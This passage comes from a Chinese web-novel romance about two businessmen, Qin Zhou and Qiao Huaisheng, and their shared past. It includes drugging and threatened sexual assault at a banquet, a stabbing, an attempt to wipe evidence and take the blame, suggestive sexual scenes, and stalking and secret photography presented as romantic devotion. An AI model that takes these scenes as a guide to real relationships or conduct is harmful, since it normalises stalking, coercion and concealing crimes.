莫骁笑了声,回头看清秦舟的脸:“这不是昨天那位吗?” “乔总的新欢?”莫骁说着往里进,又看见站在厨房的宁斯与,“这类型差距有点大啊,换口味了?” 乔淮生轻笑了声,没有承认也没有否认,只是轻蔑道:“这跟你应该没什么关系?” “是,昨天是我冒犯了,所以这不是来跟乔总赔罪了吗?” 秦舟垂下眼睛,看着莫骁走到客厅,自来熟地将带来的玫瑰一根根插进花瓶里,几乎挤占了上一瓶的位置。 乔淮生并没有出口阻拦,好像这对他来说,根本是不值得在意的小事。 也是,五年里,乔淮生的花边新闻那么多,送小明星的花都能用直升机装,收束花又算得了什么。 他只是点了根烟:“这个赔罪可不够,我要年底再加三个点。” “但是……” “作为交换,我可以让郁明撤回来,把陵山项目交给你。” “好吧,”莫骁一耸肩,“乔总的要求永远都是这么干脆。” 秦舟静静地站在门口,听他们有来有回的商量,甚至都不避讳他这个纵缰的董事,又或者,他本来也就跟那束花一样,并没有什么好特别值得关注的。 “既然这样,那就三天后老地方签合同。” 烟雾让乔淮生那张漂亮的脸变得生动,他轻轻一笑:“不过要再加一条。” “年底的述职报告换个人来,”乔淮生道,语气带着几分厌恶,“你这张脸,看多了我嫌恶心。” 莫骁脸上的笑瞬间凝固了。 可乔淮生看也没看他,只是望向厨房的宁斯与:“生姜在冰箱里,秦舟收拾东西的顺手放进去了。” 他说罢,终于偏过了头。 脚步几乎是下意识后退,那一瞬间,秦舟宁愿他没有看见自己。 他宁愿乔淮生是像当初一样——带着恨,带着怨,带着恨不得杀了他的愤怒,也不要像现在这样,在他尝到了那一点点的甜头和希望之后,却突然用这样戏剧的、惨烈的方式告诉他。 那目光并不属于自己,玫瑰也并不属于自己,那样热烈的交缠并不代表任何意义,甚至连那厌恶与怨恨都可以分给另一个人。 乔淮生将这一切赐予他,却又轻飘飘地收回去。 玫瑰刺进掌心,秦舟看着乔淮生转过头来,好像他和其他两个人一样,是应该被安排的任务,好像是从一开始……他其实从来没有在他这里占有半分特殊,好像这段时间以来的温柔暧昧,都不过他是他的自作多情。乔淮生微微偏了下头,依然是像以前一样的,询问又命令的语气:“还没想好做什么?” 一抬下巴,示意他和厨房里的宁斯与:“那你要一起吗?” 第30章 第三十章 “训狗2.0” 楼下的风吹过来, 秦舟才觉得那剧烈的疼痛散了点,挑好的鲜花被扔进垃圾桶, 秦舟垂眸点了根烟。 尼古丁的味道渗进肺腑,于是连五脏一起变得窒息。 秦舟倚着背后的墙壁,那总是凌厉的面容在此刻却显出几分无措的脆弱,烟蒂烧到指尖,电话就打了过来:“秦总!” “怎么了?” “您什么时候回来啊,这边都协商好了,三天后就要签合同!无论那边有什么事, 签合同你肯定要回来的呀!这么重要的事情总不能代签吧!秦董说你要是再不回来,就对你启动弹劾机制,后面的项目你也不用管了。” 香烟在指尖掐灭, 秦舟语气淡淡,像是知道他还会有后文似的:“还有呢?” “还有……”那人轻咳了声, 虽然不知道秦之昭为什么要让他传这种话,还是道, “秦董说他当时就告诫过你。” “想要什么就只能自己去拿, 要是连这点能力去没有了, 就只能成为任人施为的哈巴狗了。” 秦舟自嘲地笑了声——其实他现在又差在哪里呢? “我知道了。” 秦舟转头看了眼头顶的大楼,视线里的窗户依然明亮。 乔淮生现在在干什么呢? 不过他那里, 应该从来也不会缺少访客吧? “你帮我订……”话出口一半,秦舟忽然又道,“算了, 我……” “秦总!” 电话被一道声音打断,秦舟一回头,就看到莫骁站在旁边。 眼眸微微眯起,秦舟摁断通话, 是被冒犯和嫌恶的姿态:“你在这里干什么?” “如果不是乔总叫了句名字,还真的没想到,纵缰的秦总,宁城的顶流新贵,不好好在宁市做你的清江湾,跑到锦城这个小地方干什么?” 莫骁笑了:“难不成……真是为了给乔总当什么新欢?” 秦舟冷冷地扫了他一眼:“我不介意把你的另一条胳膊一起废了。” “别急着动手啊,”莫骁却往前走了一步,“也许我们还可以合作呢?” “我们之间没有什么好合作的。”秦舟转身就要走。 “但是秦总不觉得我们有相同的目的吗?!” 莫骁在身后喝道:“你也想让他看着你,对吧?” 那样漂亮的,迷人的,永远高高在上的施舍的……可是凭什么呢? “他那天说的话,你应该也听到了吧。” 因为他们在这个位置所以才会多看一眼,因为他们有价值所以才会赐予目光。 “他不在意我,当然你也算不上什么特殊,”莫骁循循善诱,“想想今天的一切……那个小明星很讨厌吧,但是他就是可以随时再找新的人过来,你送的花只能一次次扔进垃圾桶,所有的感情在他那里从来都是一文不值。” 他每说一句,秦舟的手指便攥得紧一点,未愈合的伤口再次渗出鲜血,好像是被重新撕开一遍扔到人前。 “但是如果把他从这个位置上拉下来呢?”莫骁望着他,胸有成竹: “如果他一无所有,不得不求助于我们,不得不仰望着我们呢?” 秦舟动作一滞。 莫骁觉得是自己的游说起了作用,于是更加兴奋地开口:“我知道秦总的能力。” “只要秦总愿意小小的拨点资金给我让我过了这个难关,锦盛依然会是我的天下。” “到时候……乔淮生丢了清江湾又拿不下锦盛,宁市那边应该很难回去吧?”想到那人最后的神情,莫骁不由得笑了起来,“只要他待在这里……孤掌难鸣,还不是任由我们摆布?” 语气里狂热又下流,秦舟终于慢慢回过头,冷淡的眸子扫过他,像是被说动似的:“你想要多少?” * “乔总,这些花真的都要扔了吗?” 宁斯与将桌上的玫瑰尽数收好,又确认了一遍:“那这束?” 他指了指后面那束看起来好像已经放了两天的,准备抱起来一起带走,可乔淮生却道:“那束放着吧。” 于是宁斯与只好乖乖地放下,正要出门。 “等等,”乔淮生突然叫住他,下巴一抬,示意他厨房的位置,“生抽和料酒的位置,你放错了。” 乔淮生分明自己从来不做饭,可厨房的摆放似乎有强迫症,所有的东西都要按从高到低统一排列。 宁斯与将东西放好,这才重新出了门。 只是在等电梯的时候,又重新回头看了眼。 他兴师动众的过来,可是走的时候除了带走一点垃圾,什么也没有留下。 那么,能在这里留下痕迹的人……又是谁呢? 叮——电梯门打开。 隔壁传来开锁声。 乔淮生微一挑眉,只是静静地坐在沙发上盯着屏幕。 这部卖了版权的三流电影他在五年里自虐般得重温了许多遍,而现在,那个人终于体会一些他曾经的痛苦。 嘴角微微勾起,夜色降临,乔淮生这才关闭投影,洗漱,洗澡,温润的水流冲洗过紧实的肌肉线条,白瓷般的皮肤被热气熏得发红,乔淮生的脖颈微微扬起,饱满的水珠便顺着脊背的沟壑流下,缓缓地没入腰窝。 如果有人正窥视着这里,这应该是足够活色生香的一幅画面。 不过这里只有乔淮生一个人住,于是他连卧室的门都没有关,浴袍松松垮垮地挂在身上,一只手点燃一根烟,另一只手却沿着散开的浴袍往下,不紧不慢地抚摸着。 水声渐渐止息,于是整个浴室里只剩下他一个人的声音,狭长的双眼带着点漫不经心,可那渐渐染上的水光却在诉说着渴望,乔淮生轻轻地吐了口气,烟雾缭绕之际,跟着发出一声闷哼,好像是一朵玫瑰盛开到最鲜艳的地方。 那双黑暗中的眼睛似乎再也忍无可忍,房门砰得一声被推开,腰身被人按着贴在墙上,带着酒气的吻狠狠地撞了过来,带着汹涌的恨意与纠缠,舌尖狠狠地勾着乔淮生的舌尖,连声音也发狠:“乔淮生……乔淮生……” 那酒气太过浓烈,乔淮生推了他一把,却被更紧得揽住,以至于秦舟整个人甚至快要撞向未燃尽的香烟,乔淮生手一松,烟蒂在水光中熄灭,手腕却被炽热的温度攥紧。 “躲什么?”喝醉了的秦舟仿佛卸下了白天那副斯文温顺的伪装,整个人都变得极具进攻性起来,“在这里做这个,难道不是故意给我看的吗?” “给你看?”乔淮生嗤笑了一声,“你是谁啊?很重要吗?” 秦舟眼眸渐深,似乎因为这句话染上了愠怒,一条腿猛地插进乔淮生两腿之间:“怎么,昨天晚上叫着我的名字求着我的难道不是你吗?” “你现在这副样子,”秦舟暧昧地屈膝顶了顶,“那个什么莫骁见过吗?你那个乖乖的宁斯与见过吗?” 顾舟从前说不出这种话,又或许是乔淮生也并没有见过那一向冷静自持的人喝醉的样子。 但是现在的秦舟却不同——可他越是这样,乔淮生就越是想要看看他还能忍受到哪里。 “你怎么知道没有?” 乔淮生轻笑了声:“我现在就可以叫……” “乔淮生!”秦舟握着他的腰身重重地贴在墙上,猛地一口咬上了他的脖颈。 白皙的皮肤上瞬间泛起牙印,秦舟眼尾发红,恶狠狠地望着他:“你从来都是知道怎么让我生气的。” “没关系,”明明心中的愤怒那么剧烈,可是秦舟居然能在这样的情况下控制自己没有咬伤乔淮生,齿痕有些深,却最终也没有出血,他只是抬起眼,“没关系,我知道你生气。” “我可以不介意你故意找他们来气我,再过分一点也没关系,”秦舟轻轻舔舐那道咬痕,像是在询问乔淮生,却更像是在安慰自己,“你看,你最终也没有让他们留下不是吗,这里只有我一个人,你只会为我一个人停手,只会让我一个人留在身边,只有我自己……” “秦舟,”乔淮生却笑了,打断他,“你这话自己信吗?” “都已经五年了。” 乔淮生的声音轻得像是喟叹,秦舟的动作却刹那停住。 那些借着酒气才能说出的话却终究也不能代替意识一同死去,他只能被迫听着乔淮生道: “五年里,有多少人来过我身边,有多少人给我送过花做过饭表过白。” “这五年我并不是没有生过病受过伤,有人照顾过我,有人关心过我,有人对我嘘寒问暖无微不至过,”乔淮生望着他的眼睛,语气平静又残忍,“那些人都不是你,你也没有任何资格知道。” 秦舟那总是凌厉的,愤怒的眼眸,变得无措又惶惑,像是一条在大雨中被主人抛弃的流浪狗,他抓着乔淮生的手腕,好像这样就能衔住他的衣角: “可是……是你给我打的电话,是你叫我,说你疼,说你……” “或许吧,”乔淮生却笑了,“可是我同样也说过,” “我前男友已经死了。” “你好像是一直不是很能明白死这个字的含义,”乔淮生否定他,连同否定他们这些天以来与这个词一同的所有暧昧,“不然……” 乔淮生轻轻地笑了声:“五年来我叫过他那么多次,怎么从来没有出现过?” 秦舟的手指唰得松开了。 “秦舟,”乔淮生注视着他苍白的脸,“你凭什么认为,已经背叛过一次的狗,我还能毫无芥蒂地将他养在身边呢?” 手指颤了颤,胃里的酒液跟着灼烧起来,有那么一瞬间秦舟想说对不起,可是连声音都变得苍白起来——秦舟从来没有后悔过自己所做的任何决定,只是现在,却感到一种锥心刺骨的疼。 那么他,那么他们之间真的没有任何可能了吗? 秦舟想要开口询问,却更清楚他已经失去任何立场,于是乔淮生替他讲了出来: “如果你真的想要所谓的负责和赎罪也可以 。” 所以乔淮生从来都是个过分优秀的驯犬人,他给秦舟看到了骨头,却又在即将要到的最后一秒收了回去,让他饥饿,让他痛苦,让他发疯,在他穷途末路痛不欲生的时候,突然又告诉他,只要他摇摇尾巴开个口,失去的一切就可以重新回来—— “我只问你这么一次。” 乔淮生猛地拎起他的领子,两人倒转了身位,秦舟的脊背重重地砸在墙上,可乔淮生紧紧地逼视他的那双眼睛,逼视着他的那双鬣狗般的,却在此刻充满痛苦与绝望的眼睛:“五年前……” “你到底为什么要那么做?”魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 30-40 第31章 第三十一章 “可我就是这样阴暗的人啊…… 乔淮生是郁明打电话过来才意识到已经过了一天的。 “乔总, 你看文件这样子可以吗?” 郁明把合约要用的材料和文件发过来,询问乔淮生。 电话那边等了一会儿, 似乎是乔淮生在翻阅材料,等他又重头检查了一遍,才道:“没问题。” 他说完,又问:“是哪一天签约来着?” 郁明一愣,乔淮生做事一向细致,记忆力又是让人艳羡的好,像日期这样的事情是绝对不可能记不住的, 恍惚道:“不是后天吗?” “我知道了。” 乔淮生没再说什么,只是望了一眼门口。 他说要给秦舟三天的时间,三天后是他和莫骁签约的日子, 也是纵缰和崇山签约的日子。 如果秦舟留下来,解释清楚, 那么他赌对了——折磨他五年的,反反复复的问题终于要有一个结果。 如果秦舟真的回去, 跟莫骁合作, 那也不过再一次一无所有。 或许也有折中的办法, 比如像以前一样跟秦舟虚与委蛇,比如生个不痛不痒的小病, 无论如何,秦舟肯定会留下来照顾他。 但是乔淮生偏不要。 他一个狂热的赌徒,那些自欺欺人的温柔他从来就不想拥有, 要压就全部压上,彻底死去,也好过日复一日的诘问与折磨。 而现在,已经是第二天了。 客厅里的玫瑰枯萎了一颗, 乔淮生却没有给它换水,它只是盯着门口,等待照过卧室的阳光扫过他,又渐渐落回余烬般的原地。 后知后觉,又是一天了。 门口的位置依然安安静静。乔淮生喝了一口水,觉得额头有一点发热。 那天晚上的药效似乎迟来地攻击着他的身体,让乔淮生有一点困,这种感觉其实并不陌生。 夜幕降临,他忽然想起来—— 其实顾舟也并不是每次都出现的。 * “顾舟,你真的不跟我一起进去?” 乔淮生站在原地,又一次询问,他的身后是金碧辉煌的宴会厅,人群来往中,每一个人都穿着昂贵,风度翩翩。 “这位也是淮少的朋友?看着不像啊?” “应该是哪个侍应生吧,淮少就是人比较好啦。” “侍应生?那是让他进去服务我们吗?” “那也不行啊,人员筛选还是严格一点吧,万一到时候丢了东西算谁的呀。” “行了你们少说两句,”关硕看着乔淮生越来越难看的脸,也跟着劝了两句,“要不算了乔乔,你让他跟着进去,他谁也不认识,到时候一个人也挺尴尬的。” 但是乔淮生统统没有回应,他只是望着顾舟,只要他点个头,他们所说的问题对他来说都不是问题:“顾舟,你跟不跟我?” 顾舟穿着洗得发旧的衣服,脊背看起来有一些执拗的直,仿佛只有这样才能维持住自己摇摇欲坠的自尊,他从前以为自己什么都不在乎,那些羞辱,嘲讽,统统都不算什么。 但是当这一切越过乔淮生再落在他身上的时候,所有裸露的皮肤突然就变得烧过的火焰一样滚烫起来。 “我不去了。” 顾舟后退了一步:“有个朋友打架出了事,我得去帮他处理一下。” 乔淮生阻拦的话还没出口,就被“朋友”这两个字给刺了一下:“行,”乔淮生笑了笑,“既然你有更重要的事,那就去吧。” 他说罢,转头跟人进了宴会。 只是刚要进门,恍惚之间,听到一声焦急地、刺耳的:“——阿彦!!” 乔淮生狐疑地一回头,只看到秦之昭连往日的风度优雅都不顾,整个人几乎快要从轮椅上摔下去,像是看到了什么人,疯了一样追着他出去! “乔乔?乔乔?”关硕拿着杯子在乔淮生眼前晃了晃,“你想什么呢?” “就是,淮少今天晚上怎么心不在焉的?” 乔淮生这才低头看了眼手机,消息界面依然空空荡荡,不知道秦舟借口不跟他过来还是真的有一个什么所谓的朋友哪个让他更生气一点,更何况,他还见到了秦之昭。 无论在什么场合见到秦之昭,从来都不是一件令人开心的事情。 秉着能躲就躲的原则,乔淮生揉了揉额角:“没事儿,可能是酒喝多了。” “我先出去透透气。” 他特意找了最偏僻的一间休息室。 却没想到,刚进门不久,秦之昭就推门走了进来。 “好久不见啊,乔小少爷。” 毒蛇般阴沉的声音在身后响起,乔淮生下意识一个激灵:“你来这里干什么?” “没有什么告诉你吗?这座庄园是纵缰的产业。” “阿彦最大的愿望是做一个园艺师,这里的一草一木一山一水都是他亲自设计完成的,”秦之昭说着,推着轮椅朝乔淮生走了一步,“包括你脚下踩的这块浮雕印花。” 浓郁的酒气朝着他扑了过来,乔淮生下意识抬起脚后退一步。 秦之昭似乎是喝了很多酒,原本斯文精明的面容变得更加扭曲:“他从那么点儿开始,就叫我小叔叔。” “我亲自教他种花,我亲自教他画画,我亲自握着他手教他剪枝。” 他死死地盯着乔淮生,明明已经是一个起不到任何威胁的残废,却不知道为何令人心底发寒:“但是他死了!你知道他怎么死的吗?!” 秦之昭突然像是疯了一样朝着乔淮生扑了过来:“都是你!都是你!你为什么要出生!” “我刚刚明明见到他了!我见到他了的!” “可是你一出现,他就走了,他就消失了!他一定是恨你! 他也恨我哈哈哈哈哈!” 乔淮生被他猛地甩到身后的玻璃上,挣扎着想要爬起身,却使不出一点力气,一股热流从他下身缓缓地升起,像条虚弱的脱水的鱼般困在原地。 “身娇体贵的乔小少爷,肯定还没尝过这个滋味吧?” 秦之昭注视着他的样子,狰狞地笑了起来:“你就在这里好好地享受吧。” “哦对了,这里的门我不会关,你猜会不会有人看到你这样,把控不住……那可真是太精彩了。” “祝你好运,小少爷。” 宴会的灯光透过房门漏进来,乔淮生最上方的纽扣已经被自己解开,靠在原地难耐地喘息着,他死死地咬着嘴唇,不让自己泄出一丝一毫的声音,一只手却逐渐地往前伸,摸到刚刚摔出去的手机。 意识开始昏沉,他几乎是凭借本能摸到最上方的号码,按出拨号键:“……顾舟” “……顾舟” “……顾舟” “……顾舟” 声音里带着灼热,却像是濒死的幼猫一样虚弱,乔淮生几乎是用尽最后的力气在唤着—— 总是跟在他身后的顾舟,总是在操场上等着送水的顾舟,总是在课桌旁的顾舟,总是在他每一次危险时出现的顾舟。 直到此刻乔淮生才发现,原来顾舟是他下意识的求救对象,从那个洒满夕阳的小巷里,在那个差点粉身碎骨的赛车场上,他们的信任和安全感来势汹汹却毫无道理。 可是这次,电话响了一遍又一遍,听筒里只有自动挂断的忙音。 乔淮生的目光渐渐地涣散,突然——砰! 有人闯了进来。 乔淮生几乎下意识的抬起头,看到的却是周兆和他的几个朋友。 因此上次在会所里喝出了玻璃渣子,他倒下的时候,整个人的脸上都被狠狠地划了一道,在这时更因为丑陋而显得分外的扭曲:“哟,这不是淮少吗?” “之前那么嚣张,现在怎么成了这副样子。” “谁敢对我们淮少下这种手啊,快快快,还不快给淮少帮帮忙!” “以前倒没发现,我们淮少这模样,可比兔子还要好玩呢!” 带着狞笑的声音靠近,乔淮生用尽全力抄起旁边的花瓶,猛地砸了上去! 最后是关硕他们听到声音,将乔淮生从一片狼藉里带出来的。 乔淮生被送进医院里,当天晚上就发起了高烧,意识一直昏昏沉沉。 乔南山来过一次,主要是责怪乔淮生为什么在这样的场合里不小心谨慎,惹出这样的丑事。 傅芸倒是待得久一点,只是还没等到乔淮生彻底清醒,就因为要寸步不离跟着乔南山出差而赶了回去。 因此等乔淮生醒来的时候,第一眼看到的,居然是顾舟。 没人知道他是怎么进到这样的私人医院的,乔淮生也没有询问。 明明刚跟人拼了命的是他,可是顾舟身上看起来似乎比他还要狼狈,额角上带着两道血痕,手背上也有些青紫,一般他露出这样的伤的时候,意味着那些被衣服掩盖的部分只会更多。 乔淮生望着他,轻轻地扯了扯嘴角:“我还以为你只是骗我,原来你是真的有事。” 那个所谓的重要的朋友,也值得他怎么拼命吗? “我看到你的电话了,”顾舟朝前走了一步,似乎是想触碰乔淮生的体温,“你……还好吗?” “滚!” “……对不起。” 顾舟垂下眼,目光有些沉痛:“我只是……” “滚!” 乔淮生静静地望着他:“你听不懂吗?” “乔淮生!” “你不要再这么叫我,”乔淮生别过脸去,“你说得对,我们什么关系啊,本来就不应该在人前见面,你的做法才是对的,是我一厢情愿把你拉过来,还自以为这样你会高兴……我算什么啊!” “这些你压根就不需要不是吗,是我自作多情,现在好了,你回去过你以前的日子吧,找你的什么的朋友去,我们再也没有关系了!” “不是这样的,”顾舟试图往前踏了一步,“乔淮生,我……” “滚!”乔淮生突然抓起桌上的花瓶砸到地上,“滚啊!我都说了不想见到你了!滚!” 手背上的吊针因为他的动作回流,鲜血瞬间溢了出来,顾舟猛地上前按住了他:“好。” “好,”他说,“我回去,我不会再打扰你了。” 有一点血顺着他的腰腹坠落到地上,只是跟那堆花的碎片混在一起,乔淮生没有看到。 “……对不起,”顾舟从喉头间撕扯出声音,“对不起……乔淮生。” 那天之后,顾舟便再也没有出现过。 那天宴会的事被乔南山悄无声息地瞒了下来。至于秦之昭和周兆,前者他现在还动不了,至于后者,乔南山给出的理由是他们两家还有合作,不宜现在动手。 不过乔淮生现在已经没有空余的难过分给了他。 他只是盯着旁边的落地窗,看着楼下有人推着轮椅复健的老人,和永远有活力跑来跑去的小朋友。 好像又回到了曾经一个人的时候,但即便如此,乔淮生还是不想闭上眼。 他总是能想起秦之昭那双充满怨恨的眼睛,和秦家那位说是因病去世的大少爷——秦彦。 乔淮生的指尖下意识抖了下,关硕突然在这个时候推门进来:“告诉你一个好消息乔乔!” “周兆他们几个混蛋,前两天玩车的时候突然从沟里翻下去了,五个人现在全在医院里,听说其中一个在ICU里住了好几天才出来。” “你说什么?” “怎么了,你怎么这副表情,”关硕说,“难道不大快人心吗?我过来的时候还听到周兆他爸说是有人要害他们家儿子,正跳脚要把人抓起来弄死呢!” “那他们抓到了吗?” “谁知道呢,可能吧,反正又不是我们干的,周兆平时得罪人那么多,说不定就恶有恶报了呢,再说了换他们几个半条命,就算是抓到也……” 乔淮生猛地拔下吊针冲了出去。 如果不是过分熟悉的路线,顾舟的家其实算得上有些难找,要先从一条大路拐进小巷,接着,从臭气熏天的垃圾站旁绕过去,再从一家烟酒副食店右拐,又打扮精致的按摩店老板娘站在楼下,也许还要给点小费才能摆脱,随后,跨过蛛网凝结的街道—— “怎么样,找到你那便宜儿子了吗?” “还没有呢,”男人的声音粗犷又笨重,和顾舟的没有一点相同,“妈的!让他跟那个有钱朋友要点钱,死活都不肯去!” “前两天不是让你们找过去了嘛,问出来了吗?” “别提了,你那儿子嘴多硬你又不是不知道,命都没了都不肯松个口!呸!在那里矫情个什么劲!人家有钱人买块表都比他的命贵! ” “算了,你们先走,等他回来,他就跟他说他奶奶要死了,不信这孙子不给钱!” 顾江海说完,扭头开始往回走,一边哼着歌上楼梯,顺便从裤兜里摸出卷好的烟叶抽了一口,正要开门:“你是?” 门口的乔淮生抬起头:“顾舟呢?” “你要找顾舟?”顾江海上下打量了他的穿着,狠狠地抽了一口烟叶,“行啊,他生病了,你跟我进来,我带你看他。” 铁门刚刚落锁,顾江海面色一变,猛地抽出腰间的刀,朝着乔淮生晃了过来。 乔淮生下意识往右一躲,刀尖戳进墙壁里:“你干什么?” “小少爷,你家这么有钱,要是抓了你切根手指,肯定能换不少吧?” 盯着乔淮生动手时露出的一截腕表,顾江海几乎是不要命地扑过去,两人迅速扭打在一起,房间里的锅碗瓢盆和衣架落了一地,乔淮生的心中不断重复着顾舟曾经教给自己的格斗技巧,在他下一秒扑过来的时候,猛地压着他的手腕一转。 刀子落了地,顾江海被他砰得一声踹在地上。 乔淮生一只脚踩着他的脸:“说!顾舟在哪?” “哈哈哈哈你要找他吗?”顾江海笑起来,“顾舟肯定还没让你知道过吧?” “其实他是个变态,我亲眼看到他跟踪你,偷拍你,还拿着你的照片……” 词汇下流又恶俗,乔淮生下意识皱了下眉:“他人呢?!” “你也很恶心吧?”顾江海只以为他是愤怒,“不如把你给我点钱,我来帮你收拾他。” “他现在全身都是伤,只要钱给够,你说让我废哪啊我废哪,他那只手你要不要,我给你剁下来……” “你他妈!” 乔淮生猛地踹了他一脚:“你还是不是个人!” 顾江海重重地摔在地上,手指却够到刚刚的刀:“去死吧你!” 刀刃和眼皮只割一线,乔淮生握着他的手腕,猛地一转,耳边的嘶吼声音换成顾舟身上的伤,愤怒一瞬间冲破了理智,在顾江海冲上来之前,握着刀的手猛地用力! 噗呲,有鲜血飞溅到他的脸上。 顾江海睁着眼,重重地倒了下去。 嘀嗒、嘀嗒,四周传来流水般的声音,鼻腔被血腥味灌满,乔淮生愣愣地看了看自己的掌心。 直到现在,他才突然反应过来自己做了什么,忽然卸了力,身体像是又发了一次高烧,顺着墙壁滑了下去。 钥匙拧转,生锈的铁门突然在这个时候被推开。 顾舟回来了。 鲜血从顾江海的身上流淌到乔淮生的脚边,他下意识地瑟缩了一下,身体一抖,顾舟突然在这个时候抱住了他。 骨节分明的手揽着乔淮生的肩,手指握得很紧,像是要将乔淮生整个人嵌进怀抱里,好接住他摇摇欲坠的身体:“没事了。” 顾舟的声音是熟悉的平静,生平第一次,乔淮生觉得这平静是如此的令人眷恋:“没事了,乔淮生,”顾舟叫他的名字,体温透过薄薄的衬衫传过来,“没事了,我在这里。” 那是乔淮生第一次听到顾舟用这样温柔的语气说话,像是哄人般,将那把匕首从乔淮生的手中拿了出来。 随后,他拿出一张纸,细细地将乔淮生手上的鲜血擦干净,连同刚刚打架时碰到的所有碎片一起,一同扔进一个很大的黑色塑料袋里,又拿出一条抹布,将匕首的手柄擦了好几遍,这才垂下眼,握紧,将自己的手指覆盖上去。 做完这一切,这才重新蹲下身,将乔淮生拉下来:“你们刚刚动手的时候,还碰到什么了吗?” 乔淮生怔怔地看了他一眼。 “不用怕,你不会有事的,”顾舟却只是问他,“还有什么吗?” “你要做什么?” “这个街没有监控,除了路口右拐,那户人家没人住,从他们家的院子里穿出去,旁边会有一个咖啡店,你在里面坐一会儿再出去。”他说着看了时间,像是在计算警察到来的时间,“四点,你坐到四点再走。” “你要替我顶罪吗?” “你今天从来没有来过这里,”顾舟猛地推了他一把,“走!” “我不需要你……” 顾舟没有听他说完,直接拎着他的领子将他往后一带,乔淮生这才发现之前顾舟和自己打架的时候应该留了手的:“快走!” “我都说了不用你!” 乔淮生猛地将他推回去:“我自己做的事我自己会承担!” “你是我什么?你凭什么替我顶罪?我真的杀了他不是更好,”乔淮生轻嗤了一声,“一次性解决两个自己讨厌的人,你应该放着鞭炮庆祝吧?” “乔淮生!” “顾舟!”乔淮生喝道,“你是不是就喜欢这样拯救人的感觉啊?” “对我也是这样?对你那个什么朋友也是这样?将快要死的人救上来,看着他们没有你好像就不能活的样子,不惜放弃生命也没关系,”乔淮生自上而下扫视过顾舟的伤口,“这样是不是让你觉得特别有成就感,是不是觉得自己那卑贱的生命也跟着高尚起来?” 顾舟静静地看了他一眼。 乔淮生却因为这个眼神歇斯底里起来:“对你来说,我跟他有区别吗?是不是都是你用来自我满足的工具?”这个世界上如果没有什么彻底属于他,那么他宁可一点也不要,乔淮生冷笑了一声,“谁要你这样假惺惺的拯救,我宁可……” 顾舟突然抬手捏住了他的下巴,声音因此被迫终止,他冷冷地注视着乔淮生:“你想知道吗?” 握着他腰身的手猛地向后带了一步,顾舟突然一把推开了旁边的小门。 对面的窗户只能望到客厅,乔淮生竟然从未见过顾舟的卧室—— 而现在,在小床对面的书桌上,顾江海所说的那些照片终于呈现在乔淮生的眼前。 有他在操场里打球的,有他在礼堂里讲话的,有他跟人说笑的……而最中间最大的那张,是乔淮生靠在窗前睡觉,长长的睫毛覆盖着,眼光落在他的眼皮上,唇缝因此张开了一些,离得近了,才可以看到一点嫣红的小舌。 而那个位置,现在覆盖着不明的脏污。 “从来就没有另外一个人。”顾舟说。 能让他奋不顾身的,甘心去死的,扭曲的跟踪,日复一日的窥视,在夜深人静的时候幻想的,会自卑会愤怒却又会不敢触碰的,从始至终,就只有乔淮生一个。 “我不是因为想要学赛车才跟着你的,你在问我的时候,我就已经在想着这些事了。” “我从来不是什么舍身为己的圣人,我有肮脏的私心。” 顾舟审视过墙上的每一张照片,静静道:“你知道我在拍这些的时候在想什么吗?” “每一个可能碰到你的人,我都恨不得把他们的手指剁下来,那些带着这样的目光看你的,我都想要把他们的眼珠子一个一个挖出来。” “但其实我才是最罪大恶极的那个。” 顾舟指骨收紧,强迫乔淮生抬起头,去看那一整面墙上窥视的身影和洁白的污脏:“觉得恶心吗?害怕吗?” 乔淮生的身体因此而抖动起来,于是顾舟终于缓缓地笑了,长久以来压抑在他身体里的一切像是终于能在今日发泄出来似的: “可我就是这样阴暗的人啊,乔淮生。” “我去不了你的地方,你也不该来这里。” 就像是芬芳的玫瑰不该出现在泥泞的街道,月亮也不会坠落到他的掌心。 “你回去吧,”顾舟说,“刚刚的那个路线,其实是我为自己准备的。” 乔淮生说得对,像他这样日复一日的,无聊地又乏味的人生根本没有继续的必要,当然像顾江海那样的垃圾更是一样。 很久之前,顾舟就想过奶奶死去之后,跟顾江海同归于尽的可能性。 只是乔淮生的出现,才延缓了这个过程。 是乔淮生让他觉得自己那乏善可陈的生命还有点稀薄的价值,他望着乔淮生,想象着他曾经对自己微笑的样子,为了让月亮永远挂在云端,他可以付出任何代价,哪怕是生命。 “求求你,”顾舟放开了手,很轻地扯了扯嘴角,“不要让我……再讨厌自己一点。” “顾舟你这个傻逼!” 乔淮生眼眶通红,猛地一拳砸在了他的脸上,那堆照片雪花一样坠落,但是乔淮生提起顾舟的领口,用力地吻了上去! 第32章 第三十二章 “我爱你。” 血腥味盈满鼻腔, 可却从那轻柔的一个吻上嗅到了一点矜贵的橙花气息,嘴唇像是点燃欲望的第一个出口, 乔淮生只是轻轻一碰,便立刻被顾舟按着抓着头发压了上去。 他们都是第一次接吻,却仿佛有一些无师自通的本领,舌尖刚刚碰到舌尖,便像是点燃的两根引线一样纠缠在一起,顾舟紧紧地握着乔淮生的腰,力道大到好像要让人窒息, 呼吸与氧气都是奢侈,唯有那不断升起令人发麻的触感,诚实地记录着身体的感知。 这是他们第一次接吻, 却仿佛早已曾经演练过千千万万次。 被吮吸的嘴唇带着饱满的红,那点红色一直延伸到带着水光的眼尾, 乔淮生眼眶发红:“所以……你是因为喜欢我吗?” 顾舟胸膛起伏,伸手想要去碰乔淮生的眼睛。 “所以, 你是因为喜欢我吗?” 乔淮生又问了一遍, 他望着现在的顾舟, 被情.欲和渴望沾满的顾舟,会自卑也会难过的顾舟, 曾经平静的水面打碎又重组,露出形状扭曲的暗礁来,可是乔淮生并没有因此逃离, 他只是询问:“你跟踪我,偷窥我,去操场上看我打球,给我做糖渍小青桔, 把那些欺负我的人都报复一遍,是因为……喜欢我吗?” “是。” “有多喜欢?” 顾舟的手指静静地抚上他的眼尾:“我爱你。” 于是眼尾那点水光就坠落到他的指腹。 “那我告诉你顾舟,”乔淮生定定地注视着他,“我这辈子,最讨厌别人背着我自作主张。” “你要是真的爱我,就永远不要这么做。” “我不需要你为我牺牲,”鲜血在客厅蔓延,窥探的照片撒了满地,然而乔淮生一只手提起顾舟的领子,一字一句:“我只要你活着。” 哗啦一声,桌上摆放整齐的书因为他们的动作掉了一本。 可是等它落了地,那道声音依然没有消失。 乔淮生回头一望,才发觉那点动静是来自客厅——顾江海竟然自己爬了起来。 他一只手捂着腹部的伤口,似乎忘了这里还有两个人,摇摇晃晃地跑了出去。 乔淮生最后的道德感是帮他叫了个120。 随后,带着顾舟来到了当初的纹身店。 夏季已经过去了,即便是不用开老旧的风扇,纹身店里依然不显得炎热,那些缠绕的蛛网被人收拾得很干净,秋风吹过来,甚至有一点凉。 